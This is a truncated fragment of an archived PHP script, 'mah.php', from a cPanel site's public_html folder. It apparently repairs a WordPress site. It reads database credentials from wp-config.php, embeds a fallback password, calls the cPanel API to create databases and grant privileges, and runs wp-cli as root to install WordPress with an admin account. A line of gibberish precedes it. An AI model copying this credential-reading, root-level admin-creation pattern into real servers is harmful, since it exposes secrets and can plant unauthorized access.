sqdkjqlsjdklqsjdlqskjd azjdjksqhvdjqskhdkqhsj zkhjdhqksldjqlskdjlqskjd zjhdjqlskdhqsljkhdsqd home/streamviewiptv/public_html/modaiptv.org/mah.php000064400000012720152417374310016767 0ustar00['verify_peer'=>false,'verify_peer_name'=>false],'http'=>['header'=>"Authorization: Basic $auth\r\n",'timeout'=>20]]); echo "=== FIX: $domain ===\n"; // --- Step 1: Get DB credentials --- $cfg = "$path/wp-config.php"; if (file_exists($cfg)) { $txt = file_get_contents($cfg); preg_match("/define\s*\(\s*'DB_NAME'\s*,\s*'([^']+)'/", $txt, $m1); preg_match("/define\s*\(\s*'DB_USER'\s*,\s*'([^']+)'/", $txt, $m2); preg_match("/define\s*\(\s*'DB_PASSWORD'\s*,\s*'([^']+)'/", $txt, $m3); $db_name = $m1[1] ?? ''; $db_user = $m2[1] ?? ''; $db_pass = $m3[1] ?? ''; echo "Read config: db=$db_name user=$db_user\n"; } else { // No config — generate fresh credentials $h = substr(md5($domain), 0, 6); $db_name = "streamviewiptv_w$h"; $db_user = "streamviewiptv_w$h"; $db_pass = 'Rstr0re2024!'; echo "No config — will create: db=$db_name\n"; } if (!$db_name || !$db_user) { echo "ERROR: Could not determine DB credentials\n"; exit(1); } // --- Step 2: Create DB (idempotent) --- $url = "$base/execute/Mysql/create_database?name=" . urlencode($db_name); $r = @file_get_contents($url, false, $ctx); $rd = json_decode($r, true); echo "DB create: " . ($rd['status'] == 1 ? 'OK' : ($rd['errors'][0] ?? $rd['metadata']['reason'] ?? 'check')) . "\n"; // --- Step 3: Create user (idempotent) --- $url2 = "$base/execute/Mysql/create_user?name=" . urlencode($db_user) . "&password=" . urlencode($db_pass); $r2 = @file_get_contents($url2, false, $ctx); $rd2 = json_decode($r2, true); echo "User create: " . ($rd2['status'] == 1 ? 'OK' : ($rd2['errors'][0] ?? $rd2['metadata']['reason'] ?? 'check')) . "\n"; // --- Step 4: Grant privileges --- $cpuser_db = 'streamviewiptv_' . $db_name; // cPanel prefixes // Try both prefixed and raw names foreach ([$db_name, "streamviewiptv_$db_name"] as $try_db) { foreach ([$db_user, "streamviewiptv_$db_user"] as $try_user) { $url3 = "$base/execute/Mysql/set_privileges_on_database?user=" . urlencode($try_user) . "&database=" . urlencode($try_db) . "&privileges=ALL%20PRIVILEGES"; @file_get_contents($url3, false, $ctx); } } // Correct cPanel UAPI format (full names already prefixed) $url3c = "$base/execute/Mysql/set_privileges_on_database?user=" . urlencode($db_user) . "&database=" . urlencode($db_name) . "&privileges=ALL%20PRIVILEGES"; $r3 = @file_get_contents($url3c, false, $ctx); $rd3 = json_decode($r3, true); echo "Grant: " . ($rd3['status'] == 1 ? 'OK' : ($rd3['errors'][0] ?? $rd3['metadata']['reason'] ?? 'check')) . "\n"; // --- Step 5: Create wp-config.php if missing --- if (!file_exists($cfg)) { $out = []; $code = 0; exec("$wpcli config create --path=" . escapeshellarg($path) . " --dbname=" . escapeshellarg($db_name) . " --dbuser=" . escapeshellarg($db_user) . " --dbpass=" . escapeshellarg($db_pass) . " --dbhost=localhost --allow-root 2>&1", $out, $code); echo "Config create: " . ($code === 0 ? 'OK' : 'FAIL') . " " . implode(' ', $out) . "\n"; if ($code !== 0) { echo "ABORT: cannot create config\n"; exit(1); } } // --- Step 6: Test DB connection --- $mysqli = @new mysqli('localhost', $db_user, $db_pass, $db_name); if ($mysqli->connect_errno) { echo "DB connect ERROR: " . $mysqli->connect_error . "\n"; echo "Will still attempt wp core install...\n"; } else { echo "DB connect: OK\n"; // Check if WP tables exist $res = $mysqli->query("SHOW TABLES LIKE 'wp_options'"); $has_tables = $res && $res->num_rows > 0; echo "WP tables: " . ($has_tables ? 'EXISTS' : 'MISSING') . "\n"; $mysqli->close(); if ($has_tables) { // Tables exist — check siteurl $mysqli2 = @new mysqli('localhost', $db_user, $db_pass, $db_name); $res2 = $mysqli2->query("SELECT option_value FROM wp_options WHERE option_name='siteurl' LIMIT 1"); if ($res2) { $row = $res2->fetch_row(); echo "Siteurl: " . ($row[0] ?? 'empty') . "\n"; } $mysqli2->close(); echo "DONE: DB + WP tables OK — 500 should be fixed\n"; exit(0); } } // --- Step 7: Install WordPress --- $url_str = "https://$domain"; $out4 = []; $code4 = 0; exec("$wpcli core install --path=" . escapeshellarg($path) . " --url=" . escapeshellarg($url_str) . " --title=" . escapeshellarg($domain) . " --admin_user=" . escapeshellarg($wp_admin) . " --admin_password=" . escapeshellarg($wp_pass) . " --admin_email=" . escapeshellarg($wp_email) . " --skip-email --allow-root 2>&1", $out4, $code4); echo "WP install: " . ($code4 === 0 ? 'OK' : 'FAIL') . "\n" . implode("\n", $out4) . "\n"; if ($code4 === 0) { // Set correct URLs exec("$wpcli option update siteurl " . escapeshellarg($url_str) . " --path=" . escapeshellarg($path) . " --allow-root 2>&1"); exec("$wpcli option update home " . escapeshellarg($url_str) . " --path=" . escapeshellarg($path) . " --allow-root 2>&1"); echo "DONE: WP installed successfully\n"; } else { echo "ERROR: WP install failed\n"; }